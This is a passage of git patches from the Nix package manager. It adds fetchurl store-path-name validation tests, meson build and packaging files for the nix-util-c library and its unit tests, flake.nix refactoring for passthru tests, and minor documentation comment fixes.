'https://example.com/foo.tar.gz': name '~wobble~' contains illegal character '~'. Please change the value for the 'name' attribute passed to 'fetchurl', so that it can create a valid store path. diff --git a/tests/functional/lang/eval-fail-fetchurl-baseName-attrs-name.nix b/tests/functional/lang/eval-fail-fetchurl-baseName-attrs-name.nix new file mode 100644 index 000000000..583805539 --- /dev/null +++ b/tests/functional/lang/eval-fail-fetchurl-baseName-attrs-name.nix @@ -0,0 +1 @@ +builtins.fetchurl { url = "https://example.com/foo.tar.gz"; name = "~wobble~"; } diff --git a/tests/functional/lang/eval-fail-fetchurl-baseName-attrs.err.exp b/tests/functional/lang/eval-fail-fetchurl-baseName-attrs.err.exp new file mode 100644 index 000000000..cef532e94 --- /dev/null +++ b/tests/functional/lang/eval-fail-fetchurl-baseName-attrs.err.exp @@ -0,0 +1,8 @@ +error: + … while calling the 'fetchurl' builtin + at /pwd/lang/eval-fail-fetchurl-baseName-attrs.nix:1:1: + 1| builtins.fetchurl { url = "https://example.com/~wiggle~"; } + | ^ + 2| + + error: invalid store path name when fetching URL 'https://example.com/~wiggle~': name '~wiggle~' contains illegal character '~'. Please add a valid 'name' attribute to the argument for 'fetchurl', so that it can create a valid store path. diff --git a/tests/functional/lang/eval-fail-fetchurl-baseName-attrs.nix b/tests/functional/lang/eval-fail-fetchurl-baseName-attrs.nix new file mode 100644 index 000000000..068120edb --- /dev/null +++ b/tests/functional/lang/eval-fail-fetchurl-baseName-attrs.nix @@ -0,0 +1 @@ +builtins.fetchurl { url = "https://example.com/~wiggle~"; } diff --git a/tests/functional/lang/eval-fail-fetchurl-baseName.err.exp b/tests/functional/lang/eval-fail-fetchurl-baseName.err.exp new file mode 100644 index 000000000..0950e8e70 --- /dev/null +++ b/tests/functional/lang/eval-fail-fetchurl-baseName.err.exp @@ -0,0 +1,8 @@ +error: + … while calling the 'fetchurl' builtin + at /pwd/lang/eval-fail-fetchurl-baseName.nix:1:1: + 1| builtins.fetchurl "https://example.com/~wiggle~" + | ^ + 2| + + error: invalid store path name when fetching URL 'https://example.com/~wiggle~': name '~wiggle~' contains illegal character '~'. Please pass an attribute set with 'url' and 'name' attributes to 'fetchurl', so that it can create a valid store path. diff --git a/tests/functional/lang/eval-fail-fetchurl-baseName.nix b/tests/functional/lang/eval-fail-fetchurl-baseName.nix new file mode 100644 index 000000000..965093843 --- /dev/null +++ b/tests/functional/lang/eval-fail-fetchurl-baseName.nix @@ -0,0 +1 @@ +builtins.fetchurl "https://example.com/~wiggle~" diff --git a/tests/unit/libstore/path.cc b/tests/unit/libstore/path.cc index 213b6e95f..c4c055abf 100644 --- a/tests/unit/libstore/path.cc +++ b/tests/unit/libstore/path.cc @@ -26,10 +26,19 @@ static std::regex nameRegex { std::string { nameRegexStr } }; TEST_F(StorePathTest, bad_ ## NAME) { \ std::string_view str = \ STORE_DIR HASH_PART "-" STR; \ - ASSERT_THROW( \ - store->parseStorePath(str), \ - BadStorePath); \ + /* ASSERT_THROW generates a duplicate goto label */ \ + /* A lambda isolates those labels. */ \ + [&](){ \ + ASSERT_THROW( \ + store->parseStorePath(str), \ + BadStorePath); \ + }(); \ std::string name { STR }; \ + [&](){ \ + ASSERT_THROW( \ + nix::checkName(name), \ + BadStorePathName); \ + }(); \ EXPECT_FALSE(std::regex_match(name, nameRegex)); \ } @@ -54,6 +63,7 @@ TEST_DONT_PARSE(dot_dash_a, ".-a") STORE_DIR HASH_PART "-" STR; \ auto p = store->parseStorePath(str); \ std::string name { p.name() }; \ + EXPECT_EQ(p.name(), STR); \ EXPECT_TRUE(std::regex_match(name, nameRegex)); \ } From ac89828b5a78045fc4943d47041a5599302a566c Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Tue, 25 Jun 2024 15:35:47 +0200 Subject: [PATCH 0889/1251] Build nix-util-c with meson and unit test --- flake.nix | 51 ++++++++- maintainers/hydra.nix | 3 + meson.build | 7 ++ src/libutil-c/.version | 1 + src/libutil-c/meson.build | 117 ++++++++++++++++++++ src/libutil-c/meson.options | 1 + src/libutil-c/nix-util-c.pc.in | 9 ++ src/libutil-c/package.nix | 96 +++++++++++++++++ src/libutil-test | 1 + src/libutil-test-support | 1 + tests/unit/libutil-support/.version | 1 + tests/unit/libutil-support/meson.build | 110 +++++++++++++++++++ tests/unit/libutil-support/package.nix | 98 +++++++++++++++++ tests/unit/libutil/.version | 1 + tests/unit/libutil/meson.build | 142 +++++++++++++++++++++++++ tests/unit/libutil/package.nix | 112 +++++++++++++++++++ 16 files changed, 750 insertions(+), 1 deletion(-) create mode 120000 src/libutil-c/.version create mode 100644 src/libutil-c/meson.build create mode 100644 src/libutil-c/meson.options create mode 100644 src/libutil-c/nix-util-c.pc.in create mode 100644 src/libutil-c/package.nix create mode 120000 src/libutil-test create mode 120000 src/libutil-test-support create mode 120000 tests/unit/libutil-support/.version create mode 100644 tests/unit/libutil-support/meson.build create mode 100644 tests/unit/libutil-support/package.nix create mode 100644 tests/unit/libutil/.version create mode 100644 tests/unit/libutil/meson.build create mode 100644 tests/unit/libutil/package.nix diff --git a/flake.nix b/flake.nix index 7e7148afe..aac45af34 100644 --- a/flake.nix +++ b/flake.nix @@ -160,6 +160,19 @@ }; }); + # TODO: define everything here instead of top level? + nix-components = { + inherit (final) + nix-util + nix-util-test-support + nix-util-test + nix-util-c + nix-store + nix-fetchers + nix-perl-bindings + ; + }; + nix-util = final.callPackage ./src/libutil/package.nix { inherit fileset @@ -169,6 +182,30 @@ ; }; + nix-util-test-support = final.callPackage ./tests/unit/libutil-support/package.nix { + inherit + fileset + stdenv + versionSuffix + ; + }; + + nix-util-test = final.callPackage ./tests/unit/libutil/package.nix { + inherit + fileset + stdenv + versionSuffix + ; + }; + + nix-util-c = final.callPackage ./src/libutil-c/package.nix { + inherit + fileset + stdenv + versionSuffix + ; + }; + nix-store = final.callPackage ./src/libstore/package.nix { inherit fileset @@ -281,7 +318,19 @@ # the old build system is gone and we are back to one build # system, we should reenable this. #perlBindings = self.hydraJobs.perlBindings.${system}; - } // devFlake.checks.${system} or {} + } + // lib.concatMapAttrs (nixpkgsPrefix: nixpkgs: + lib.concatMapAttrs (pkgName: pkg: + lib.concatMapAttrs (testName: test: { + # Add "passthru" tests + "${nixpkgsPrefix}${pkgName}-${testName}" = test; + }) pkg.tests or {} + ) nixpkgs.nix-components + ) { + "" = nixpkgsFor.${system}.native; + "static-" = nixpkgsFor.${system}.static; + } + // devFlake.checks.${system} or {} ); packages = forAllSystems (system: { diff --git a/maintainers/hydra.nix b/maintainers/hydra.nix index e21145f37..9e6f2c468 100644 --- a/maintainers/hydra.nix +++ b/maintainers/hydra.nix @@ -36,6 +36,9 @@ let forAllPackages = lib.genAttrs [ "nix" "nix-util" + "nix-util-c" + "nix-util-test-support" + "nix-util-test" "nix-store" "nix-fetchers" ]; diff --git a/meson.build b/meson.build index e67fd4a7a..085ac0865 100644 --- a/meson.build +++ b/meson.build @@ -12,3 +12,10 @@ subproject('libfetchers') subproject('perl') subproject('internal-api-docs') subproject('external-api-docs') + +# C wrappers +subproject('libutil-c') + +# Testing +subproject('libutil-test-support') +subproject('libutil-test') diff --git a/src/libutil-c/.version b/src/libutil-c/.version new file mode 120000 index 000000000..b7badcd0c --- /dev/null +++ b/src/libutil-c/.version @@ -0,0 +1 @@ +../../.version \ No newline at end of file diff --git a/src/libutil-c/meson.build b/src/libutil-c/meson.build new file mode 100644 index 000000000..a2b020818 --- /dev/null +++ b/src/libutil-c/meson.build @@ -0,0 +1,117 @@ +project('nix-util-c', 'cpp', + version : files('.version'), + default_options : [ + 'cpp_std=c++2a', + # TODO(Qyriad): increase the warning level + 'warning_level=1', + 'debug=true', + 'optimization=2', + 'errorlogs=true', # Please print logs for tests that fail + ], + meson_version : '>= 1.1', + license : 'LGPL-2.1-or-later', +) + +cxx = meson.get_compiler('cpp') + +# See note in ../nix-util/meson.build +deps_private = [ ] + +# See note in ../nix-util/meson.build +deps_public = [ ] + +# See note in ../nix-util/meson.build +deps_other = [ ] + +configdata = configuration_data() + +add_project_arguments( + # TODO(Qyriad): Yes this is how the autoconf+Make system did it. + # It would be nice for our headers to be idempotent instead. + '-include', 'config-util.h', + # '-include', 'config-store.h', + '-Wno-deprecated-declarations', + '-Wimplicit-fallthrough', + '-Werror=switch', + '-Werror=switch-enum', + '-Wdeprecated-copy', + '-Wignored-qualifiers', + # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked + # at ~1% overhead in `nix search`. + # + # FIXME: remove when we get meson 1.4.0 which will default this to on for us: + # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions + '-D_GLIBCXX_ASSERTIONS=1', + language : 'cpp', +) + +sources = files( + 'nix_api_util.cc', +) + +include_dirs = [include_directories('.')] + +headers = files( + 'nix_api_util.h', + 'nix_api_util_internal.h', +) + +if host_machine.system() == 'cygwin' or host_machine.system() == 'windows' + # Windows DLLs are stricter about symbol visibility than Unix shared + # objects --- see https://gcc.gnu.org/wiki/Visibility for details. + # This is a temporary sledgehammer to export everything like on Unix, + # and not detail with this yet. + # + # TODO do not do this, and instead do fine-grained export annotations. + linker_export_flags = ['-Wl,--export-all-symbols'] +else + linker_export_flags = [] +endif + +nix_util = dependency('nix-util') +if nix_util.type_name() == 'internal' + # subproject sadly no good for pkg-config module + deps_other += nix_util +else + deps_public += nix_util +endif + +# TODO rename, because it will conflict with downstream projects +configdata.set_quoted('PACKAGE_VERSION', meson.project_version()) + +config_h = configure_file( + configuration : configdata, + output : 'config-util.h', +) + +this_library = library( + 'nixutilc', + sources, + dependencies : deps_public + deps_private + deps_other, + include_directories : include_dirs, + link_args: linker_export_flags, + install : true, +) + +install_headers(headers, subdir : 'nix', preserve_path : true) + +libraries_private = [] + +import('pkgconfig').generate( + this_library, + filebase : meson.project_name(), + name : 'Nix', + description : 'Nix Package Manager', + subdirs : ['nix'], + extra_cflags : ['-std=c++2a'], + requires : deps_public, + requires_private : deps_private, + libraries_private : libraries_private, +) + +meson.override_dependency(meson.project_name(), declare_dependency( + include_directories : include_dirs, + link_with : this_library, + compile_args : ['-std=c++2a'], + dependencies : [], +)) diff --git a/src/libutil-c/meson.options b/src/libutil-c/meson.options new file mode 100644 index 000000000..04422feaf --- /dev/null +++ b/src/libutil-c/meson.options @@ -0,0 +1 @@ +# vim: filetype=meson diff --git a/src/libutil-c/nix-util-c.pc.in b/src/libutil-c/nix-util-c.pc.in new file mode 100644 index 000000000..0ccae3f8a --- /dev/null +++ b/src/libutil-c/nix-util-c.pc.in @@ -0,0 +1,9 @@ +prefix=@prefix@ +libdir=@libdir@ +includedir=@includedir@ + +Name: Nix libutil C API +Description: Common functions for the Nix C API, such as error handling +Version: @PACKAGE_VERSION@ +Libs: -L${libdir} -lnixutil +Cflags: -I${includedir}/nix -std=c++2a diff --git a/src/libutil-c/package.nix b/src/libutil-c/package.nix new file mode 100644 index 000000000..a45b36d4c --- /dev/null +++ b/src/libutil-c/package.nix @@ -0,0 +1,96 @@ +{ lib +, stdenv +, releaseTools +, fileset + +, meson +, ninja +, pkg-config + +, nix-util + +# Configuration Options + +, versionSuffix ? "" + +# Check test coverage of Nix. Probably want to use with at least +# one of `doCheck` or `doInstallCheck` enabled. +, withCoverageChecks ? false +}: + +let + version = lib.fileContents ./.version + versionSuffix; + + mkDerivation = + if withCoverageChecks + then + # TODO support `finalAttrs` args function in + # `releaseTools.coverageAnalysis`. + argsFun: + releaseTools.coverageAnalysis (let args = argsFun args; in args) + else stdenv.mkDerivation; +in + +mkDerivation (finalAttrs: { + pname = "nix-util-c"; + inherit version; + + src = fileset.toSource { + root = ./.; + fileset = fileset.unions [ + ./meson.build + ./meson.options + (fileset.fileFilter (file: file.hasExt "cc") ./.) + (fileset.fileFilter (file: file.hasExt "hh") ./.) + (fileset.fileFilter (file: file.hasExt "h") ./.) + ]; + }; + + outputs = [ "out" "dev" ]; + + nativeBuildInputs = [ + meson + ninja + pkg-config + ]; + + buildInputs = [ + nix-util + ] + ; + + propagatedBuildInputs = [ + nix-util + ]; + + preConfigure = + # "Inline" .version so it's not a symlink, and includes the suffix + '' + echo ${version} > .version + ''; + + mesonFlags = [ + ]; + + env = lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) { + LDFLAGS = "-fuse-ld=gold"; + }; + + enableParallelBuilding = true; + + separateDebugInfo = !stdenv.hostPlatform.isStatic; + + # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564 + strictDeps = !withCoverageChecks; + + hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; + + meta = { + platforms = lib.platforms.unix ++ lib.platforms.windows; + }; + +} // lib.optionalAttrs withCoverageChecks { + lcovFilter = [ "*/boost/*" "*-tab.*" ]; + + hardeningDisable = [ "fortify" ]; +}) diff --git a/src/libutil-test b/src/libutil-test new file mode 120000 index 000000000..62c86f54b --- /dev/null +++ b/src/libutil-test @@ -0,0 +1 @@ +../tests/unit/libutil/ \ No newline at end of file diff --git a/src/libutil-test-support b/src/libutil-test-support new file mode 120000 index 000000000..f7da46d4c --- /dev/null +++ b/src/libutil-test-support @@ -0,0 +1 @@ +../tests/unit/libutil-support/ \ No newline at end of file diff --git a/tests/unit/libutil-support/.version b/tests/unit/libutil-support/.version new file mode 120000 index 000000000..0df9915bf --- /dev/null +++ b/tests/unit/libutil-support/.version @@ -0,0 +1 @@ +../../../.version \ No newline at end of file diff --git a/tests/unit/libutil-support/meson.build b/tests/unit/libutil-support/meson.build new file mode 100644 index 000000000..5912c00e0 --- /dev/null +++ b/tests/unit/libutil-support/meson.build @@ -0,0 +1,110 @@ +project('nix-util-test-support', 'cpp', + version : files('.version'), + default_options : [ + 'cpp_std=c++2a', + # TODO(Qyriad): increase the warning level + 'warning_level=1', + 'debug=true', + 'optimization=2', + 'errorlogs=true', # Please print logs for tests that fail + ], + meson_version : '>= 1.1', + license : 'LGPL-2.1-or-later', +) + +cxx = meson.get_compiler('cpp') + +# See note in ../nix-util/meson.build +deps_private = [ ] + +# See note in ../nix-util/meson.build +deps_public = [ ] + +# See note in ../nix-util/meson.build +deps_other = [ ] + +add_project_arguments( + '-Wno-deprecated-declarations', + '-Wimplicit-fallthrough', + '-Werror=switch', + '-Werror=switch-enum', + '-Wdeprecated-copy', + '-Wignored-qualifiers', + # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked + # at ~1% overhead in `nix search`. + # + # FIXME: remove when we get meson 1.4.0 which will default this to on for us: + # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions + '-D_GLIBCXX_ASSERTIONS=1', + language : 'cpp', +) + +sources = files( + 'tests/hash.cc', + 'tests/string_callback.cc', +) + +include_dirs = [include_directories('.')] + +headers = files( + 'tests/characterization.hh', + 'tests/hash.hh', + 'tests/nix_api_util.hh', + 'tests/string_callback.hh', +) + +if host_machine.system() == 'cygwin' or host_machine.system() == 'windows' + # Windows DLLs are stricter about symbol visibility than Unix shared + # objects --- see https://gcc.gnu.org/wiki/Visibility for details. + # This is a temporary sledgehammer to export everything like on Unix, + # and not detail with this yet. + # + # TODO do not do this, and instead do fine-grained export annotations. + linker_export_flags = ['-Wl,--export-all-symbols'] +else + linker_export_flags = [] +endif + +nix_util = dependency('nix-util') +if nix_util.type_name() == 'internal' + # subproject sadly no good for pkg-config module + deps_other += nix_util +else + deps_public += nix_util +endif + +rapidcheck = dependency('rapidcheck') +deps_public += rapidcheck + +this_library = library( + 'nix-util-test-support', + sources, + dependencies : deps_public + deps_private + deps_other, + include_directories : include_dirs, + # TODO: Remove `-lrapidcheck` when https://github.com/emil-e/rapidcheck/pull/326 + # is available. See also ../libutil/build.meson + link_args: linker_export_flags + ['-lrapidcheck'], + install : true, +) + +install_headers(headers, subdir : 'nix', preserve_path : true) + +libraries_private = [] + +import('pkgconfig').generate( + this_library, + filebase : meson.project_name(), + name : 'Nix', + description : 'Nix Package Manager', + subdirs : ['nix'], + extra_cflags : ['-std=c++2a'], + requires : deps_public, + requires_private : deps_private, +) + +meson.override_dependency(meson.project_name(), declare_dependency( + include_directories : include_dirs, + link_with : this_library, + compile_args : ['-std=c++2a'], + dependencies : [], +)) diff --git a/tests/unit/libutil-support/package.nix b/tests/unit/libutil-support/package.nix new file mode 100644 index 000000000..caa37b748 --- /dev/null +++ b/tests/unit/libutil-support/package.nix @@ -0,0 +1,98 @@ +{ lib +, stdenv +, releaseTools +, fileset + +, meson +, ninja +, pkg-config + +, nix-util + +, rapidcheck + +# Configuration Options + +, versionSuffix ? "" + +# Check test coverage of Nix. Probably want to use with at least +# one of `doCheck` or `doInstallCheck` enabled. +, withCoverageChecks ? false +}: + +let + version = lib.fileContents ./.version + versionSuffix; + + mkDerivation = + if withCoverageChecks + then + # TODO support `finalAttrs` args function in + # `releaseTools.coverageAnalysis`. + argsFun: + releaseTools.coverageAnalysis (let args = argsFun args; in args) + else stdenv.mkDerivation; +in + +mkDerivation (finalAttrs: { + pname = "nix-util-test-support"; + inherit version; + + src = fileset.toSource { + root = ./.; + fileset = fileset.unions [ + ./meson.build + # ./meson.options + (fileset.fileFilter (file: file.hasExt "cc") ./.) + (fileset.fileFilter (file: file.hasExt "hh") ./.) + ]; + }; + + outputs = [ "out" "dev" ]; + + nativeBuildInputs = [ + meson + ninja + pkg-config + ]; + + buildInputs = [ + nix-util + rapidcheck + ] + ; + + propagatedBuildInputs = [ + nix-util + ]; + + preConfigure = + # "Inline" .version so it's not a symlink, and includes the suffix + '' + echo ${version} > .version + ''; + + mesonFlags = [ + ]; + + env = lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) { + LDFLAGS = "-fuse-ld=gold"; + }; + + enableParallelBuilding = true; + + separateDebugInfo = !stdenv.hostPlatform.isStatic; + + # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564 + strictDeps = !withCoverageChecks; + + hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; + + meta = { + platforms = lib.platforms.unix ++ lib.platforms.windows; + }; + +} // lib.optionalAttrs withCoverageChecks { + lcovFilter = [ "*/boost/*" "*-tab.*" ]; + + hardeningDisable = [ "fortify" ]; +}) diff --git a/tests/unit/libutil/.version b/tests/unit/libutil/.version new file mode 100644 index 000000000..ad2261920 --- /dev/null +++ b/tests/unit/libutil/.version @@ -0,0 +1 @@ +2.24.0 diff --git a/tests/unit/libutil/meson.build b/tests/unit/libutil/meson.build new file mode 100644 index 000000000..56147686b --- /dev/null +++ b/tests/unit/libutil/meson.build @@ -0,0 +1,142 @@ +project('nix-util-test', 'cpp', + version : files('.version'), + default_options : [ + 'cpp_std=c++2a', + # TODO(Qyriad): increase the warning level + 'warning_level=1', + 'debug=true', + 'optimization=2', + 'errorlogs=true', # Please print logs for tests that fail + ], + meson_version : '>= 1.1', + license : 'LGPL-2.1-or-later', +) + +cxx = meson.get_compiler('cpp') + +# See note in ../nix-util/meson.build +deps_private = [ ] + +# See note in ../nix-util/meson.build +deps_public = [ ] + +# See note in ../nix-util/meson.build +deps_other = [ ] + +configdata = configuration_data() + +add_project_arguments( + # TODO(Qyriad): Yes this is how the autoconf+Make system did it. + # It would be nice for our headers to be idempotent instead. + '-include', 'config-util-test.h', + # '-include', 'config-store.h', + '-Wno-deprecated-declarations', + '-Wimplicit-fallthrough', + '-Werror=switch', + '-Werror=switch-enum', + '-Wdeprecated-copy', + '-Wignored-qualifiers', + # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked + # at ~1% overhead in `nix search`. + # + # FIXME: remove when we get meson 1.4.0 which will default this to on for us: + # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions + '-D_GLIBCXX_ASSERTIONS=1', + language : 'cpp', +) + +# TODO rename, because it will conflict with downstream projects +configdata.set_quoted('PACKAGE_VERSION', meson.project_version()) + +config_h = configure_file( + configuration : configdata, + output : 'config-util-test.h', +) + +sources = files( + 'args.cc', + 'canon-path.cc', + 'chunked-vector.cc', + 'closure.cc', + 'compression.cc', + 'config.cc', + 'file-content-address.cc', + 'git.cc', + 'hash.cc', + 'hilite.cc', + 'json-utils.cc', + 'logging.cc', + 'lru-cache.cc', + 'nix_api_util.cc', + 'pool.cc', + 'references.cc', + 'spawn.cc', + 'suggestions.cc', + 'tests.cc', + 'url.cc', + 'xml-writer.cc', +) + +include_dirs = [include_directories('.')] + +if host_machine.system() == 'cygwin' or host_machine.system() == 'windows' + # Windows DLLs are stricter about symbol visibility than Unix shared + # objects --- see https://gcc.gnu.org/wiki/Visibility for details. + # This is a temporary sledgehammer to export everything like on Unix, + # and not detail with this yet. + # + # TODO do not do this, and instead do fine-grained export annotations. + linker_export_flags = ['-Wl,--export-all-symbols'] +else + linker_export_flags = [] +endif + +nix_util = dependency('nix-util') +if nix_util.type_name() == 'internal' + # subproject sadly no good for pkg-config module + deps_other += nix_util +else + deps_public += nix_util +endif + +nix_util_c = dependency('nix-util-c') +if nix_util_c.type_name() == 'internal' + # subproject sadly no good for pkg-config module + deps_other += nix_util_c +else + deps_public += nix_util_c +endif + +nix_util_test_support = dependency('nix-util-test-support') +if nix_util_test_support.type_name() == 'internal' + # subproject sadly no good for pkg-config module + deps_other += nix_util_test_support +else + deps_public += nix_util_test_support +endif + +rapidcheck = dependency('rapidcheck') +deps_public += rapidcheck + +gtest = dependency('gtest', main : true) +deps_public += gtest + +this_exe = executable( + 'nix-util-test', + sources, + dependencies : deps_public + deps_private + deps_other, + include_directories : include_dirs, + # TODO: -lrapidcheck, see ../libutil-support/build.meson + link_args: linker_export_flags + ['-lrapidcheck'], + # get main from gtest + install : true, +) + +test('nix-util-test', this_exe, env : ['_NIX_TEST_UNIT_DATA=' + meson.current_source_dir() + '/data']) + +meson.override_dependency(meson.project_name(), declare_dependency( + include_directories : include_dirs, + link_with : this_exe, + compile_args : ['-std=c++2a'], + dependencies : [], +)) diff --git a/tests/unit/libutil/package.nix b/tests/unit/libutil/package.nix new file mode 100644 index 000000000..7a09e4aa5 --- /dev/null +++ b/tests/unit/libutil/package.nix @@ -0,0 +1,112 @@ +{ lib +, stdenv +, releaseTools +, fileset + +, meson +, ninja +, pkg-config + +, nix-util +, nix-util-c +, nix-util-test-support + +, rapidcheck +, gtest +, runCommand + +# Configuration Options + +, versionSuffix ? "" + +# Check test coverage of Nix. Probably want to use with at least +# one of `doCheck` or `doInstallCheck` enabled. +, withCoverageChecks ? false +}: + +let + version = lib.fileContents ./.version + versionSuffix; + + mkDerivation = + if withCoverageChecks + then + # TODO support `finalAttrs` args function in + # `releaseTools.coverageAnalysis`. + argsFun: + releaseTools.coverageAnalysis (let args = argsFun args; in args) + else stdenv.mkDerivation; +in + +mkDerivation (finalAttrs: { + pname = "nix-util-test"; + inherit version; + + src = fileset.toSource { + root = ./.; + fileset = fileset.unions [ + ./meson.build + # ./meson.options + (fileset.fileFilter (file: file.hasExt "cc") ./.) + (fileset.fileFilter (file: file.hasExt "hh") ./.) + ]; + }; + + outputs = [ "out" "dev" ]; + + nativeBuildInputs = [ + meson + ninja + pkg-config + ]; + + buildInputs = [ + nix-util + nix-util-c + nix-util-test-support + rapidcheck + gtest + ]; + + preConfigure = + # "Inline" .version so it's not a symlink, and includes the suffix + '' + echo ${version} > .version + ''; + + mesonFlags = [ + ]; + + env = lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) { + LDFLAGS = "-fuse-ld=gold"; + }; + + enableParallelBuilding = true; + + separateDebugInfo = !stdenv.hostPlatform.isStatic; + + # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564 + strictDeps = !withCoverageChecks; + + hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; + + passthru = { + tests = { + run = runCommand "${finalAttrs.pname}-run" { + } '' + PATH="${lib.makeBinPath [ finalAttrs.finalPackage ]}:$PATH" + export _NIX_TEST_UNIT_DATA=${./data} + nix-util-test + touch $out + ''; + }; + }; + + meta = { + platforms = lib.platforms.unix ++ lib.platforms.windows; + }; + +} // lib.optionalAttrs withCoverageChecks { + lcovFilter = [ "*/boost/*" "*-tab.*" ]; + + hardeningDisable = [ "fortify" ]; +}) From 6a28566db663fe8b185142e0d9cfdb988f6b04a9 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Tue, 25 Jun 2024 15:49:39 +0200 Subject: [PATCH 0890/1251] refact: concatMapAttrs -> flatMapAttrs This should be slightly easier to read. We could apply this to all concatMapAttrs calls. --- flake.nix | 31 +++++++++++++++++++++++-------- 1 file changed, 23 insertions(+), 8 deletions(-) diff --git a/flake.nix b/flake.nix index aac45af34..1be9d2fc0 100644 --- a/flake.nix +++ b/flake.nix @@ -58,6 +58,18 @@ "stdenv" ]; + /** + `flatMapAttrs attrs f` applies `f` to each attribute in `attrs` and + merges the results into a single attribute set. + + This can be nested to form a build matrix where all the attributes + generated by the innermost `f` are returned as is. + (Provided that the names are unique.) + + See https://nixos.org/manual/nixpkgs/stable/index.html#function-library-lib.attrsets.concatMapAttrs + */ + flatMapAttrs = attrs: f: lib.concatMapAttrs f attrs; + forAllSystems = lib.genAttrs systems; forAllCrossSystems = lib.genAttrs crossSystems; @@ -319,17 +331,20 @@ # system, we should reenable this. #perlBindings = self.hydraJobs.perlBindings.${system}; } - // lib.concatMapAttrs (nixpkgsPrefix: nixpkgs: - lib.concatMapAttrs (pkgName: pkg: - lib.concatMapAttrs (testName: test: { - # Add "passthru" tests - "${nixpkgsPrefix}${pkgName}-${testName}" = test; - }) pkg.tests or {} - ) nixpkgs.nix-components - ) { + # Add "passthru" tests + // flatMapAttrs { "" = nixpkgsFor.${system}.native; "static-" = nixpkgsFor.${system}.static; } + (nixpkgsPrefix: nixpkgs: + flatMapAttrs nixpkgs.nix-components + (pkgName: pkg: + flatMapAttrs pkg.tests or {} + (testName: test: { + "${nixpkgsPrefix}${pkgName}-${testName}" = test; + }) + ) + ) // devFlake.checks.${system} or {} ); From 1eaddb209d240f424b8a40930b963c19a0883a57 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Tue, 25 Jun 2024 16:17:13 +0200 Subject: [PATCH 0891/1251] TMP: disable static meson build on darwin --- flake.nix | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/flake.nix b/flake.nix index 1be9d2fc0..c499fea5b 100644 --- a/flake.nix +++ b/flake.nix @@ -334,7 +334,8 @@ # Add "passthru" tests // flatMapAttrs { "" = nixpkgsFor.${system}.native; - "static-" = nixpkgsFor.${system}.static; + # FIXME: Static build on darwin currently broken + # "static-" = nixpkgsFor.${system}.static; } (nixpkgsPrefix: nixpkgs: flatMapAttrs nixpkgs.nix-components From ae3304bde9730e7cc2f43b71540fabd20fd12c6f Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Tue, 25 Jun 2024 16:56:45 +0200 Subject: [PATCH 0892/1251] Test static build of nix-util on non-darwin --- flake.nix | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/flake.nix b/flake.nix index c499fea5b..35280f038 100644 --- a/flake.nix +++ b/flake.nix @@ -332,11 +332,13 @@ #perlBindings = self.hydraJobs.perlBindings.${system}; } # Add "passthru" tests - // flatMapAttrs { + // flatMapAttrs ({ "" = nixpkgsFor.${system}.native; - # FIXME: Static build on darwin currently broken - # "static-" = nixpkgsFor.${system}.static; - } + } // lib.optionalAttrs (! nixpkgsFor.${system}.native.stdenv.hostPlatform.isDarwin) { + # TODO: enable static builds for darwin, blocked on: + # https://github.com/NixOS/nixpkgs/issues/320448 + "static-" = nixpkgsFor.${system}.static; + }) (nixpkgsPrefix: nixpkgs: flatMapAttrs nixpkgs.nix-components (pkgName: pkg: From fba81cf74b2081b5242126fac01061e1fedaa99d Mon Sep 17 00:00:00 2001 From: Ryan Hendrickson Date: Tue, 25 Jun 2024 18:44:56 -0400 Subject: [PATCH 0893/1251] docs: internal documentation touchup Make two comments more accurate for the next reader. --- doc/manual/redirects.js | 2 +- doc/manual/src/_redirects | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/doc/manual/redirects.js b/doc/manual/redirects.js index 633932e55..f7b479106 100644 --- a/doc/manual/redirects.js +++ b/doc/manual/redirects.js @@ -1,7 +1,7 @@ // redirect rules for URL fragments (client-side) to prevent link rot. // this must be done on the client side, as web servers do not see the fragment part of the URL. // it will only work with JavaScript enabled in the browser, but this is the best we can do here. -// see ./_redirects for path redirects (client-side) +// see src/_redirects for path redirects (server-side) // redirects are declared as follows: // each entry has as its key a path matching the requested URL path, relative to the mdBook document root. diff --git a/doc/manual/src/_redirects b/doc/manual/src/_redirects index a04a36f1e..7f8edca8e 100644 --- a/doc/manual/src/_redirects +++ b/doc/manual/src/_redirects @@ -1,5 +1,5 @@ # redirect rules for paths (server-side) to prevent link rot. -# see ./redirects.js for redirects based on URL fragments (client-side) +# see ../redirects.js for redirects based on URL fragments (client-side) # # concrete user story this supports: # - user finds URL to the manual for Nix x.y From fd0b376c795f770a82c4f7b9ff5ef3df0c03e125 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Thu, 1 Feb 2024 12:27:29 +0100 Subject: [PATCH 0894/1251] libstore/worker.cc: Remove outdated comment It was added above this conditional Worker::Worker(LocalStore & store) : store(store) { /* Debugging: prevent recursive workers. */ if (working) abort(); working = true; However, `working` has since been removed. Source: https://github.com/NixOS/nix/blame/7f8e805c8ef2d7728648553de6b762964730a09a/src/libstore/build.cc#L2617 --- src/libstore/build/worker.cc | 1 - 1 file changed, 1 deletion(-) diff --git a/src/libstore/build/worker.cc b/src/libstore/build/worker.cc index 